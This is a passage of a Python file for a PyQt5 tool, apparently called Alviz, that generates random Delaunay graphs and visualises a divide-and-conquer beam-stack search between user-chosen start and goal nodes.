+{"seq_id":"20032926435","text":"import sys\nimport heapq\nfrom PyQt5.QtWidgets import QMainWindow, QAction, qApp, QApplication,QPushButton\nfrom PyQt5.QtGui import QIcon\n\nfrom PyQt5.QtWidgets import QWidget, QApplication,QLabel, QPlainTextEdit\nfrom PyQt5.QtGui import QPainter,QPen\nfrom PyQt5.QtCore import Qt\nfrom PyQt5.QtCore import QSize    \nimport sys, random\nimport pickle\nimport random\nimport numpy as np\nimport scipy.spatial\nfrom PyQt5.QtCore import QPoint\nimport collections\nimport time\n\nimport tkinter as tk\nroot = tk.Tk()\nscreen_width = root.winfo_screenwidth()\n# screen_width = 1750\nscreen_height = root.winfo_screenheight()\n# screen_height = 950\nclosed_set=set()\nopen_set = set()\nn_node = 1000\nt_coord_in={}\nt_in_coord={}\nrealrelay = -1\nno_iterations = -1\nfirst_iter = 1\nfirst_iter_c = 1\nfirst_iter_o = 1\nrelay_set = set()\nfoofile = open(\"dc.txt\",\"w+\")\n# adjacency_list =[]\n\n# node_colour = [0 for i in range(n_node)] # 0  - not visited, 1 - open list, 2 - closed set, 3- Start node, 4 - Goal node\n\n# def generate_points(xl,yl,number=100):\ndef generate_points(xl,yl,number=50):\n    x_coordinates = np.random.randint(xl, size=number)\n    y_coordinates = np.random.randint(yl, size=number)\n    t=[]\n    for i,j in zip(list(x_coordinates),list(y_coordinates)):\n        t.append([i,j+70])\n\n    \n    return t\n\ndef make_edge_list_tsp(node,n_nodes):\n    edg = []\n    for i in range(n_nodes):\n        for j in range(n_nodes):\n            if (i<j):\n                edg.append([(node[i][0],node[i][1]),(node[j][0],node[j][1])])\n\n    with open('edge_list.pkl', 'wb') as f:\n        pickle.dump(edg, f)    \n\n    return edg             \n\n\ndef find_neighbors(pindex, triang):\n    return triang.vertex_neighbor_vertices[1][triang.vertex_neighbor_vertices[0][pindex]:triang.vertex_neighbor_vertices[0][pindex+1]]\n\n# return list of list of tuples Ex.[[(x1,y1),(x2,y2)]]\ndef make_edge_list(node,n_node,tri,bf):\n    temp=[]\n    for k in range(n_node):\n        pindex = k\n        neighbor_indices = find_neighbors(pindex,tri)\n        for i in range(len(neighbor_indices)):\n            # if i%2!=0:\n            if i%bf!=0:\n                temp.append([(node[pindex][0],node[pindex][1]),(node[neighbor_indices[i]][0],node[neighbor_indices[i]][1])])    \n    with open('edge_list.pkl', 'wb') as f:\n        pickle.dump(temp, f)\n    return temp\n\n# Make adjacency list \ndef make_adj_list(a,d,n):\n    t=[[]for i in range(n+1)]\n    tt=[]\n    for i in a:\n        t[d[i[0]]].append(d[i[1]])\n        t[d[i[1]]].append(d[i[0]])\n    for i in t:\n        tt.append(list(set(i)))\n    return tt\n\n\ndef make_dict_index_coord(points):\n    # t = {}\n    t_in_coord={}\n    # print(\"points in in - co\")\n    # print(points)\n    cnt=1\n    for i in points:\n        t_in_coord[cnt] = (i[0],i[1])\n        cnt+=1\n    return t_in_coord\n\n\n# Mapping co-ordinates to node index.\ndef make_dict_coord_index(points):\n    # t={}\n    t_coord_in={}\n    # print(\"points in co - in\")\n    # print(points)\n    cnt=1\n    for i in points:\n        t_coord_in[(i[0],i[1])] = cnt\n        cnt+=1\n    return t_coord_in\n                \n# Make dictionary for indexing nodes.\ndef make_dict_node(points):\n    dict_node = {}\n    cnt=1\n    for i in points:\n        dict_node[1] = i\n        cnt+=1\n    return make_dict_node\n\ndef ret_edg():\n    with open('edge_list.pkl', 'rb') as f:\n            edg = pickle.load(f)\n    return edg\n\n# def make_dict_index_coord(points):\n#     t = {}\n#     cnt=1\n#     for i in points:\n#         t[cnt] = (i[0],i[1])\n#         cnt+=1\n#     return t\n\ndef movegen(adj,n_ind):\n    return adj[n_ind]\n\ndef backtrace(parent, start, end):\n    path = [end]\n    while path[-1] != start:\n        path.append(parent[path[-1]])\n    path.reverse()\n    return path\n\ngoal_copy = -1\nU = 0\n\n\ndef Diff(li1, li2): \n    return (list(set(li1) - set(li2))) \n\n\ndef distance(node1, node2):\n\n\n    #print(dict_index_coord[node1])\n    a1,b1 = dict_index_coord[node1]\n    a2,b2 = dict_index_coord[node2]\n    # print (np.sqrt((a1-a2)*(a1-a2) + (b1-b2)*(b1-b2)))\n    return np.sqrt((a1-a2)*(a1-a2) + (b1-b2)*(b1-b2))\n\ndef f(curr_node):\n    global goal_copy\n    goal_node = goal_copy\n    return dijk_distances[curr_node] + distance(curr_node,goal_node)\n\ndef heuristic(curr_node):\n\n    global goal_copy\n    goal_node = goal_copy\n\n    #print(dict_index_coord[goal_node])\n    a1,b1 = dict_index_coord[curr_node]\n    a2,b2 = dict_index_coord[goal_node]\n    #print (np.sqrt((a1-a2)*(a1-a2) + (b1-b2)*(b1-b2)))\n    return np.sqrt((a1-a2)*(a1-a2) + (b1-b2)*(b1-b2))\n\nbeam_stack = []\nopen_layers = [[]]\nclosed_layers = [[]]\ndijk_distances = [0 for i in range(10000)]#but n_node is only 1000, what if it is more? \nparent_memorize_test = []\nactual_dijk_answers = [10000 for i in range(10000)]\nrelay_association = []\n\n\ndef prune(n,w,last_closed):\n\n    global parent_memorize_test\n    global beam_stack\n    open_layers[n].sort(key = f)\n    keep = open_layers[n][:w-1]\n\n    prune = Diff(open_layers[n], keep)\n    # print(\"removing:\")\n    # print(prune)\n    node = min(prune,key=f)\n    # print(\"g value of the least f node is : \")\n    # print(dijk_distances[node])\n    a, b = beam_stack[n-1]\n    beam_stack[n-1] = a, f(node)\n    # print(beam_stack[n-1])\n\n\n    for pn in prune:\n        open_layers[n].remove(pn)\n\n\n    for a,b in parent_memorize_test:\n        for pn in prune:\n            if a == pn and b in last_closed:\n                parent_memorize_test.remove((a,b))\n\n\ndef solutionreconstruct(start_node, goal_node):\n    path = []\n    path = [start_node, adjacency_list[start_node][0], adjacency_list[adjacency_list[start_node][0]][0]]\n    return path\n\ndef dumbbfs(start_node, goal_node):\n\n\n    visited = []\n    Q = [start_node]\n    parents=[]\n    while Q: \n        vertex = Q.pop(0)\n        visited.append(vertex)\n        for neighbour in adjacency_list[vertex]: \n            if neighbour == goal_node:\n                parents.append((neighbour,vertex))\n                Q=[]\n                break\n            if neighbour not in visited: \n                visited.append(neighbour) \n                parents.append((neighbour, vertex))\n                Q.append(neighbour)\n\n    # print(\"right heere\")[1, 7]\n    need_parent = neighbour\n    path = []\n    while need_parent != start_node:\n        path.append(need_parent)\n        if len(path) > 8:\n            return path\n        # print(path)\n        for a,b in parents:\n            if a == need_parent:\n                need_parent = b \n\n    # print(\"not yet here\")\n    path.append(start_node)\n    path.reverse()\n    return path\n\n\n\ndef calculate_cost(path):\n    sum = 0\n    prev = path[0]\n    for n in path:\n        sum += distance(prev,n)\n        prev = n\n\n    return sum\n\n\n\n\ndef beamstacksearch(start_node, goal_node, w, relay):\n    global U\n    global open_layers\n    global closed_layers\n    global parent_memorize_test\n    global beam_stack\n    global open_set\n    global closed_set\n    global relay_association\n    global relay_set\n    global node_colour\n    open_layers = [[] for i in range(10000)]\n    closed_layers = [[] for i in range(10000)]\n    parent_memorize_test = []\n    open_layers[0].append(start_node)\n    global dijk_distances\n    # closed_set.clear()\n    dijk_distances = [0 for i in range(10000)]\n    best_goal = -1\n    gotagoal = -1\n\n    #should the best_goal also be global?\n    # print(start_node)\n    l = 0\n    x = 0\n    # print(\"testing the implementation of argmin\")\n    # print(min(open_layers[l],key=heuristic))\n    while open_layers[l] or open_layers[l+1]:\n        while open_layers[l]:\n            x += 1\n            # print(\"Im inside the double while now\")\n            node = min(open_layers[l],key=f)\n            # print(\"the best node currently in open is : \")\n            # print(node)\n            open_layers[l].remove(node)\n            closed_layers[l].append(node)\n            # closed_set.add(node)\n            # for n in closed_set:\n            #   node_colour[n] = 2\n\n            if node == goal_copy:\n                #U = heuristic(node)\n                #update this after writing solution reconstruction method\n               \n                gotagoal = goal_copy\n                for n in closed_layers[l-1]:\n                    if first_iter_c == 1:\n                        closed_set.add(n)\n                for n in closed_set:\n                    node_colour[n] = 2\n\n\n                # open_set = set()\n                for n in open_layers[l]:\n                    if first_iter_o == 1:\n                        open_set.add(n)\n                        node_colour[n] = 4\n\n                # return [start_node] #make sure to change it later\n            for n in adjacency_list[node]:\n                # a,b = beam_stack[len(beam_stack)-1] : a very important diversion from pseudocode!! may need to look back\n                a,b = beam_stack[l]\n                if dijk_distances[node]+distance(n, node) < dijk_distances[n] or dijk_distances[n] == 0:\n                    expected_distance = dijk_distances[node]+distance(n, node)\n                else:\n                    expected_distance = dijk_distances[node]\n                f_n = expected_distance + distance(n, goal_copy)\n                # print(\"expected fn is : \"),\n                # print(f_n, a, b)\n                # print(\"gn will be : \"),\n                # print(expected_distance)\n                if f_n < b and f_n > a and n not in closed_layers[l] and n not in closed_layers[l-1] and n not in closed_layers[l+1] and n not in open_layers[l] and n not in open_layers[l-1] and n not in open_layers[l+1] :\n                    \n                    # if (node, n) not in parent_memorize_test:\n                    \n                    if not dijk_distances[n] or dijk_distances[n] > dijk_distances[node] + distance(node, n):\n\n                        for a,b in parent_memorize_test:\n                            if a == n:\n                                parent_memorize_test.remove((a,b))\n                        parent_memorize_test.append((n, node))\n                        if l == relay:\n                            for a,b in relay_association:\n                                if a == n:\n                                    relay_association.remove((a,b))\n                            \n                            relay_association.append((n, node))\n\n                            if first_iter == 1:\n                                relay_set.add(node)\n                            # for n in relay_set:\n                                node_colour[node] = 3\n\n                        if l > relay:\n                            relay_ancestor = -1\n                            for a,b in relay_association:\n                                if a == node:\n                                    relay_ancestor = b\n                            for a,b in relay_association:\n                                if a == n:\n                                    relay_association.remove((a,b))\n                            relay_association.append((n,b))\n                            \n                            if first_iter == 1:\n                                relay_set.add(b)\n                        \n                        dijk_distances[n] = dijk_distances[node] + distance(node, n)\n                        open_layers[l+1].append(n)\n                        # open_set.add(n)\n                        # for node_open_show in open_set:\n                        #   node_colour[node_open_show] = 1\n\n                        # print(\"adding pointer :\")\n                        # print((n,node))\n                    # else:\n                    #      print(\"skipping\"),\n                    #      print((n,node))\n                    # print(\"adding\")\n                    # print(f_n)\n                    # print(n)\n                    # print(adjacency_list[n])\n\n                if f_n < b and f_n > a and n in open_layers[l+1]:\n                    #this should handle in beam parent ambiguity\n                    if dijk_distances[n] > dijk_distances[node] + distance(node, n):\n                        dijk_distances[n] = dijk_distances[node] + distance(node, n)\n                        for a,b in parent_memorize_test:\n                            if a == n and b in closed_layers[l]:\n                                parent_memorize_test.remove((n, b))\n                                relay_association[n] = relay_association[b]\n                        parent_memorize_test.append((n, node))\n                if f_n < b and f_n > a:\n                    #this should handle in beam parent ambiguity\n                    if dijk_distances[n] > dijk_distances[node] + distance(node, n):\n                        dijk_distances[n] = dijk_distances[node] + distance(node, n)\n                        for a,b in parent_memorize_test:\n                            if a == n:\n                                parent_memorize_test.remove((n, b))\n                                relay_association[n] = relay_association[b]\n                        parent_memorize_test.append((n, node))\n                # if heuristic(n) < b and heuristic(n) >=a and n in open_layers[l+1]:\n                #     #to handle parent change of existing nodes in the open layer\n                #     path_to_return = []\n                #     need_parent = node\n                #     actual_parent = -1\n\n                #     while need_parent != start_node:\n                #         path_to_return.append(need_parent)\n\n                #         for a,b in parent_memorize_test:\n                #             if a == need_parent:\n                #                 need_parent = b \n                #             if a == n:\n                #                 actual_parent = b\n                #     print(\"not yet here\")\n                #     path_to_return.append(start_node)\n                #     path_to_return.reverse()\n\n                #     path_to_return2 = []\n                #     need_parent = actual_parent\n\n                #     while need_parent != start_node:\n                #         path_to_return2.append(need_parent)\n\n                #         for a,b in parent_memorize_test:\n                #             if a == need_parent:\n                #                 need_parent = b \n                   \n                #     print(\"not yet here\")\n                #     path_to_return2.append(start_node)\n                #     path_to_return2.reverse()\n\n\n\n                #     tt1 = calculate_cost(path_to_return) + distance(node,n)\n                #     tt2 = calculate_cost(path_to_return2)+ distance(actual_parent, n)\n\n                #     if tt1 <= tt2:\n                #         parent_memorize_test.remove(n, actual_parent)\n                #         parent_memorize_test.append(n, node)\n\n                # if f_n >= b :\n                #     print(n),\n                #     print(\"overshot the limit\")\n                # if f_n <a:\n                #     print(n),\n                #     print(\"has heuristic lower than needed\")\n            if len(open_layers[l+1]) > w-1:\n                prune(l+1,w,closed_layers[l])\n            # print(beam_stack)\n\n\n        if l > 1 and l <= relay:\n            closed_layers[l-1] = []\n        if l > relay+1:\n            closed_layers[l-1] = []\n        # If these were present, there was a possibility of a loop in the answer!!\n\n        l += 1\n        open_layers[l+1] = []\n        closed_layers[l] = []\n        lastelem = beam_stack[len(beam_stack)-1]\n        if(len(beam_stack) <= l):\n            beam_stack.append((0,U))\n        # print(beam_stack[len(beam_stack)-1])\n\n\n\n\n\n\n    if gotagoal != -1:\n        # return solutionreconstruct(start_node, goal_node)\n        # print(\"found best goal\")\n        best_goal = node\n\n        # for a, b in relay_association:\n        #     if a == goal_copy:\n        #         node_colour[b] = 3\n        # # node_colour[relay_association[goal_copy]] = 3\n        path_to_return = []\n        need_parent = goal_copy\n        ttt = 0\n        while need_parent != start_node and ttt < 50:\n            ttt += 1\n            path_to_return.append(need_parent)\n            # if len(path_to_return) > 8:\n                # return path_to_return\n            # print(path)\n            for a,b in parent_memorize_test:\n                if a == need_parent: \n                    need_parent = b \n                    # print(need_parent)\n                    # print(parent_memorize_test)\n\n        # print(\"not yet here\")\n        # print(dijk_distances)\n        path_to_return.append(start_node)\n        path_to_return.reverse()\n        return path_to_return, dijk_distances[goal_node]\n    else :\n        return [],U\n\n\ndef findmin(lista):\n\n    a = -1\n    b = 100000\n    for p, q in lista:\n        if b > q:\n            b = q\n            a = p\n    return a,b\n\ndef sortdoublelist(x , y):\n    a, b = x\n    c, d = y\n    return a < c\nprinted = -1\ndef actual_dijk(starting_vertex, n_node):\n    # print(\"number of nodes is :\")\n    # print(n_node)\n    global printed\n    distances = {vertex: float('infinity') for vertex in range (1,n_node+1)}\n    distances[starting_vertex] = 0\n\n    entry_lookup = {}\n    pq = [(starting_vertex,0)]\n    fixvertices = []\n    fixvertices.append(starting_vertex)\n    workingmemory = []\n    \n    while len(pq) != n_node:\n        for a,b in pq:\n            for c in adjacency_list[a]: \n                if c not in fixvertices:\n                    workingmemory.append((c, b+distance(c,a)))\n        # ll = [[]]\n        # ll.append(workingmemory)\n        a,b = findmin(workingmemory)\n\n        pq.append((a,b))\n        fixvertices.append(a)\n        workingmemory = []\n\n    pq.sort(key=lambda x: x[0])\n    # print (pq)\n    if printed != 1:\n        foofile.write(str(pq))\n    printed = 1\n\n\n\ndef Algorithm(adjacency_list,start_node,goal_node,n_node):\n#you have to add the assigned algorithm here\n    # print(n_node)\n    # print(\"is the number of nodes present\")\n    global closed_set\n    global open_set\n    global dict_coord_index\n    global goal_copy\n    global relay_association\n    global U\n    global beam_stack\n\n    w = 5\n    goal_copy = goal_node\n    relay = 3\n    parent_memorize_test = []\n##################################\n\n    #This is where I write my algorithm\n    #inferences : n_node is the number of nodes 100,500 etc\n    #Doubts : what if multiple nodes have the same heuristic value?\n\n##################################\n\n    relay_association = [(i,-1) for i in range(10000)]\n    index_dumb = 0\n    for i in adjacency_list:\n        # print (index_dumb),\n        # print (i),\n        index_dumb += 1\n    # print(start_node)\n    # print(\"is the start\")\n    # print(goal_node)\n    # print(\"is the goal node\")\n\n    # print(\"the children of start node are :\")\n    # print(adjacency_list)\n\n\n    # print(dict_coord_index)\n    # actual_dijk(start_node, n_node)\n    heuristic(start_node)\n\n    # raw_input()\n    #list can be used as a stack\n    #only use the methods : stack pop, stack append\n\n    U = 2500 #need to decide based on the max pixels\n\n    beam_stack = []\n    beam_stack.append((0,U))\n    # print(beam_stack)\n\n    dijk_distances[start_node] = 0\n    #working : print(beam_stack)\n    path_answer=[]# this is the path or tour to be returned\n    last_path_val = 100000\n\n    while beam_stack:\n\n        # print(beam_stack)\n        path, newU = beamstacksearch(start_node, goal_node,w, relay)\n        if path:\n            # path = dumbbfs(start_node, goal_node)\n            # print(\"the method returned a path, which is : ##############################\")\n            # print(path)\n            if not path_answer:\n                path_answer = path\n                last_path_val = newU\n                U = newU\n            if path_answer:\n                a1= last_path_val\n                a2= newU\n                # print(\"showing path costs : \")\n                # print(a1, a2)\n                if a1 >= a2:\n                    path_answer = path\n                    U = a2\n\n        # print(beam_stack[len(beam_stack)-1])\n        # print(U)\n\n        while beam_stack and beam_stack[len(beam_stack)-1][1] >= U :\n            # print(\"pops are happening!\")\n            # print(beam_stack[len(beam_stack)-1])\n            beam_stack.pop()\n\n        if not beam_stack:\n            return path_answer\n\n        a,b = beam_stack[len(beam_stack)-1]\n        # print(\"change in algo\")\n        # print(\"U is : \"),\n        # print(U)\n        # print(parent_memorize_test)\n        # print(beam_stack[len(beam_stack)-1])\n        beam_stack[len(beam_stack)-1] = (b,U)\n        if b==U:\n             break\n            #edit this part later\n\n    # print(\"done!\")\n    return path_answer\n\n\ndef my_main(n_node = 100, bf = 2,gg=0):\n    x_dim = screen_width-100\n    y_dim = screen_height-150\n    # edge_list=pickle.load(f)\n    with open('edge_list.pkl', 'rb') as f:\n            edge_list = pickle.load(f)\n    \n    global dict_index_coord\n    global dict_coord_index\n    global adjacency_list \n\n    if (gg==0):\n        node = generate_points(x_dim,y_dim,n_node)\n        # global dict_index_coord\n        dict_index_coord = make_dict_index_coord(node) # indexing to pixels pair. Ex. 1->(10,10)\n        # global dict_coord_index\n        dict_coord_index = make_dict_coord_index(node) # mapping pixels to index pair. Ex. (10,10) -> 1\n        # print(\"MAP\")\n        # print(dict_coord_index)\n        # print(dict_index_coord)\n        tri = scipy.spatial.Delaunay(np.array(node))\n        \n        edge_list = make_edge_list(node,n_node,tri,bf)            \n        # print(edge_list)\n        # global adjacency_list \n        adjacency_list= make_adj_list(edge_list,dict_coord_index,n_node) #adjcency list             \n        \n        return edge_list\n    elif (gg==2):\n        node = generate_points(x_dim,y_dim,n_node)\n        # global dict_index_coord\n        dict_index_coord = make_dict_index_coord(node) # indexing to pixels pair. Ex. 1->(10,10)\n        # global dict_coord_index\n        dict_coord_index = make_dict_coord_index(node) # mapping pixels to index pair. Ex. (10,10) -> 1\n        # print(\"MAP\")\n        # print(dict_coord_index)\n        # print(dict_index_coord)\n        edge_list = make_edge_list_tsp(node,n_node)\n        # global adjacency_list \n        adjacency_list= make_adj_list(edge_list,dict_coord_index,n_node)\n\n        return edge_list\n\n    elif (gg==1):\n        # tree code  TODO\n        return edge_list\n\n\nparent_recursive_collector = []\n\ndef motherfunction(adjacency_list,start_node,goal_node,n_node):\n    global printed\n    global parent_recursive_collector\n    global foofile\n    global no_iterations\n    global first_iter\n    global first_iter_c\n    global first_iter_o\n    global node_colour\n    global open_set\n    global closed_set\n    global relay_set\n    printed = -1\n    foofile = open(\"dc.txt\",\"w+\")\n    open_set = set()\n    closed_set = set()\n    relay_set = set()\n    pathfirst = Algorithm(adjacency_list, start_node, goal_node, n_node)\n    first_iter = -1\n    first_iter_c = -1\n    first_iter_o = -1\n    realrelay = len(pathfirst)/2\n    divideandconquer(adjacency_list,start_node,goal_node,n_node, realrelay)\n    pathcache = []\n    no_iterations = len(pathfirst)\n    parent_recursive_collector.reverse()\n    # print(parent_recursive_collector)\n    # print(pathfirst)\n    need_parent = goal_node\n    # print(\"needs parent : \"),\n    # print(need_parent)\n    while need_parent != start_node:\n        for a,b in parent_recursive_collector:\n            if a == need_parent and a != start_node:\n                need_parent = b\n                # print(\"appending : \"),\n                # print(a)\n                pathcache.append(a)\n            if a == start_node:\n                break\n    for n in relay_set:\n        node_colour[n] = 3\n    for n in closed_set:\n        node_colour[n] = 2\n    for n in open_set:\n        node_colour[n] = 1\n    pathcache.append(start_node)\n    pathcache.reverse()\n    # print(\"relay : \")\n    # print(relay_set)\n    # print(pathcache)\n    # print(calculate_cost(pathcache))\n    return pathcache\n\n\ndef divideandconquer(adjacency_list,start_node,goal_node,n_node, realrelay):\n    global parent_recursive_collector\n    foofile.flush()\n    if goal_node in adjacency_list[start_node]:\n        # print(\"******************************************************\")\n        # print(\"adding nodes into parent parent_recursive_collector : \")\n        # print(goal_node),\n        # print(start_node)\n        parent_recursive_collector.append((goal_node, start_node))\n        # foofile.write('\\n')\n        # foofile.write(\"basecase : \")\n        # foofile.write(str(start_node))\n        # foofile.write(\" \")\n        # foofile.write(str(goal_node))\n        # foofile.write(\" \")\n        # foofile.write(str(realrelay))\n        return\n    elif start_node == goal_node:\n        # foofile.write('\\n')\n        # foofile.write(\"basecase2 : \")\n        # foofile.write(str(start_node))\n        # foofile.write(\" \")\n        # foofile.write(str(goal_node))\n        # foofile.write(\" \")\n        # foofile.write(str(realrelay))\n        return\n    else:\n        pathnext = Algorithm(adjacency_list,start_node,goal_node,n_node)\n        relaynode = pathnext[int(realrelay)]\n        # foofile.write('\\n')\n        # foofile.write(\"showing path, cost, start, goal : \")\n        # foofile.write(str(pathnext))\n        # foofile.write(\" \")\n        # foofile.write(str(calculate_cost(pathnext)))\n        # foofile.write(\" \")\n        # foofile.write(str(start_node))\n        # foofile.write(\" \")\n        # foofile.write(str(goal_node))\n        # foofile.write(\" \")\n        # foofile.write(str(realrelay))\n\n        divideandconquer(adjacency_list,start_node,relaynode,n_node, max(int(realrelay/2), 1))\n        divideandconquer(adjacency_list,relaynode,goal_node,n_node, max(int(realrelay/2), 1))\n        return\n\n\nclass Example(QMainWindow):\n    \n    def __init__(self):\n        super().__init__()\n\n\n        self.nodes = 100\n        self.bf = 2\n        self.dict_index_coord = {}\n        self.open_list = []\n        self.closed_list = []    \n        self.init_phase = -1\n        self.start_x=0\n        self.start_y=0\n        \n        self.goal_x=0\n        self.goal_y=0\n        \n        self.initUI()\n        self.setMinimumSize(QSize(screen_width,screen_height))    \n        self.setWindowTitle(\"Alviz v0.2\") \n       \n\n\n        \n        \n    def initUI(self):               \n        \n        self.exitAct = QAction( '&Exit', self)        \n        self.exitAct.setShortcut('Ctrl+Q')\n        self.exitAct.setStatusTip('Exit application')\n        self.exitAct.triggered.connect(qApp.quit)\n\n        self.genAct = QAction( '&Generate Graph', self)\n        self.genAct.triggered.connect(self.clickMethod)\n        self.genTreeAct = QAction( '&Generate Tree', self)\n        self.genTreeAct.triggered.connect(self.clickMethod1)\n        self.genTSPAct = QAction( '&Generate TSP', self)\n        self.genTSPAct.triggered.connect(self.clickMethod2)\n        self.startAct = QAction( '&Start Node', self)\n        self.goalAct = QAction( '&Goal Node', self)\n        self.genRevertAct = QAction( '&Revert', self)\n        self.genRevertAct.triggered.connect(self.clickMethodRevert)\n\n\n        self.nodeLabel = QLabel('Number of nodes:')\n        self.nodeText = QPlainTextEdit('100')\n        self.nodeText.setFixedSize(80,28)\n        self.bfLabel = QLabel('Branching Factor:')\n        self.bfText = QPlainTextEdit('2')\n        self.bfText.setFixedSize(80,28)\n\n        self.resetAct =  QAction( '&Reset Screen', self)\n        self.resetAct.triggered.connect(self.reset_screen)\n\n\n        self.menubar = self.menuBar()\n        self.fileMenu = self.menubar.addMenu('File')\n        self.fileMenu.addAction(self.exitAct)\n        self.toolbar = self.addToolBar('')\n\n        self.toolbar.addWidget(self.nodeLabel)\n        self.toolbar.addWidget(self.nodeText)\n        self.toolbar.addWidget(self.bfLabel)\n        self.toolbar.addWidget(self.bfText)\n\n        self.toolbar.addAction(self.genAct)\n        self.toolbar.addAction(self.genTreeAct)\n        self.toolbar.addAction(self.genTSPAct)\n        self.toolbar.addAction(self.startAct)\n        self.toolbar.addAction(self.goalAct)\n        self.toolbar.addAction(self.genRevertAct)\n        self.toolbar.addAction(self.resetAct)\n        \n        self.setMouseTracking(True)\n        self.startAct.setEnabled(False)\n        self.goalAct.setEnabled(False)\n        self.path_t=[]\n\n        # my_main()\n\n    def reset_screen(self):\n        self.init_phase = -1\n        self.startAct.setEnabled(False)\n        self.goalAct.setEnabled(False)\n        self.update()\n        \n\n    def clickMethod(self):\n        self.init_phase = 0\n        # print('Clicked Pyqt button.')\n        self.nodes = int(self.nodeText.toPlainText())\n        self.bf = int(self.bfText.toPlainText())\n        global node_colour\n        node_colour = [0 for i in range(self.nodes+1)] \n        my_main(self.nodes,self.bf,0)\n        self.update()\n\n    def clickMethod1(self):\n        self.init_phase = 0\n        # print('Clicked Pyqt button. 1')\n        self.nodes = int(self.nodeText.toPlainText())\n        self.bf = int(self.bfText.toPlainText())\n        global node_colour\n        node_colour = [0 for i in range(self.nodes+1)] \n        my_main(self.nodes,self.bf,1)\n        self.update()\n        \n    def clickMethod2(self):\n        self.init_phase = 6\n        # print('Clicked Pyqt button. 2')\n        self.nodes = int(self.nodeText.toPlainText())\n        self.bf = int(self.bfText.toPlainText())\n        global node_colour\n        node_colour = [0 for i in range(self.nodes+1)] \n        my_main(self.nodes,self.bf,2)\n        self.update()\n    def clickMethodRevert(self):\n        self.init_phase = 0\n        print('Clicked Pyqt button. Revert')\n        self.nodes = int(self.nodeText.toPlainText())\n        self.bf = int(self.bfText.toPlainText())\n        global node_colour\n        node_colour = [0 for i in range(self.nodes+1)] \n        # my_main(self.nodes,self.bf,2)\n        self.update()            \n        \n\n    # def mouseClickEvent(self,e):\n    def mousePressEvent(self, e):\n        x=e.x()\n        y=e.y()\n        text = \"x: {0},  y: {1}\".format(x, y)\n        min_x= 99999\n        max_x=-99999\n        min_y= 99999\n        max_y=-99999\n        self.findClosestCoordinate(min_x,min_y,x,y)\n        # self.label.setText(text)\n        # print(text)\n    \n    def findClosestCoordinate(self,min_x,min_y,x,y):\n        global dict_coord_index\n        edg=ret_edg()\n        myset = set()\n        min_dist=999999999\n        for e in edg: \n            # myset.add(e[0])\n            # myset.add(e[1])\n            dist=(x-e[0][0])**2+(y-e[0][1])**2\n            if(dist<min_dist) :\n                min_dist=dist\n                min_x=e[0][0]\n                min_y=e[0][1]\n        print(\"minimum x :\"+str(min_x))\n        print(\"minimum y :\"+str(min_y))\n        if(self.init_phase==0):#initial phase for planar graph generation\n            self.start_x=min_x\n            self.start_y=min_y\n            self.init_phase=1\n            start_node = dict_coord_index[(self.start_x,self.start_y)]#1\n            # print(start_node) ##### ALSO REMOVE THESE ASAP!!\n            # self.update()\n        elif(self.init_phase==1):#After selecting the start node    \n            self.goal_x=min_x\n            self.goal_y=min_y\n            self.init_phase=5\n            goal_node = dict_coord_index[(self.goal_x,self.goal_y)]#1\n            # print(goal_node)\n            # self.update()\n        elif(self.init_phase==5):#After selecting the goal node\n            # print(\"start_x , start_y\"+str(self.start_x)+\",\"+str(self.start_y))\n            start_node = dict_coord_index[(self.start_x,self.start_y)]#1\n            print(start_node)\n            l=dict_index_coord[start_node]\n            # print(l)\n\n            # print(\"coord - to - int \")\n            # print(dict_coord_index)\n            # print(\"int - to - coord \")\n            # print(dict_index_coord)\n            # print(\"###################################\")\n            goal_node =  dict_coord_index[(self.goal_x,self.goal_y)]\n            # print(goal_node) ### MAKE SURE TO REMOVE THIS AND START NODE LATER\n            self.path_t = motherfunction(adjacency_list,start_node,goal_node,self.nodes)\n            # print(node_colour)\n            # print(\"###################################\")\n            # print (len(node_colour))\n            self.init_phase=3\n        elif(self.init_phase==3):#show the bfs\n            self.init_phase=4            #init_phase=4 is the default end phase of all types of graph\n        elif(self.init_phase==6):#initial phase for tsp\n            self.init_phase=7\n        elif(self.init_phase==7):#final phase for tsp\n            self.init_phase=4                        \n\n\n\n    def paintEvent(self, e):\n\n        qp = QPainter()\n        qp.begin(self)\n        # self.print_s(qp)\n        if (self.init_phase!=-1):\n            self.drawPoints(qp)\n            if(self.init_phase!=6):\n                self.drawLines(qp)\n            qp.end()\n\n\n    def drawPoints(self, qp):\n\n        qp.setPen(Qt.red)\n        size = self.size()\n\n\n        edg=ret_edg()\n        myset = set()\n        for e in edg: \n            myset.add(e[0])\n            myset.add(e[1])\n\n        xx = list(myset)    \n        self.dict_index_coord = make_dict_index_coord(xx)\n\n        # print(self.init_phase)\n        # print(self.start_x)\n        # print(self.start_y)\n\n\n\n        if (self.init_phase == 0):#draw points to create planar graph\n\n            for e in edg :\n                center = QPoint(e[0][0],e[0][1])\n                qp.setBrush(Qt.yellow)\n                qp.drawEllipse(center,5,5)\n               #qp.drawPoint(e[0][0],e[0][1])\n            \n            self.startAct.setEnabled(True)\n            \n            self.update()\n\n        # else:\n        elif (self.init_phase == 1):#draw start node\n            for e in edg :\n                center = QPoint(e[0][0],e[0][1])\n                qp.setBrush(Qt.yellow)\n                qp.drawEllipse(center,5,5)\n\n            center = QPoint(self.start_x,self.start_y)\n            qp.setBrush(Qt.green)\n            qp.drawEllipse(center,10,10)    \n            \n\n            self.startAct.setEnabled(False)\n            self.goalAct.setEnabled(True)\n\n            self.update()\n        elif (self.init_phase == 5):#draw goal node\n            for e in edg :\n                center = QPoint(e[0][0],e[0][1])\n                qp.setBrush(Qt.yellow)\n                qp.drawEllipse(center,5,5)\n\n            center = QPoint(self.start_x,self.start_y)\n            qp.setBrush(Qt.green)\n            qp.drawEllipse(center,10,10)\n                \n            center = QPoint(self.goal_x,self.goal_y)\n            qp.setBrush(Qt.red)\n            qp.drawEllipse(center,10,10)    \n\n            self.startAct.setEnabled(False)\n            self.goalAct.setEnabled(False)\n            self.update()\n            # self.init_phase = 5\n        elif (self.init_phase == 3):#draw the path and color different nodes as per the color coding mentioned\n            i=1\n            # print(\"node col size \"+str(len(node_colour)))\n            for i in range(1,len(node_colour)):\n                point=dict_index_coord[i]\n                e = node_colour[i]\n                center = QPoint(point[0],point[1])\n                if(e==0) :\n                    # qp.setBrush(Qt.gray)\n                    qp.setBrush(Qt.yellow)\n                    qp.drawEllipse(center,5,5)\n                if(e==1) :\n                    qp.setBrush(Qt.magenta)\n                    qp.drawEllipse(center,8,8)\n                if(e==2) :\n                    qp.setBrush(Qt.blue)\n                    qp.drawEllipse(center,8,8)\n                if(e==3) :\n                    qp.setBrush(Qt.cyan)\n                   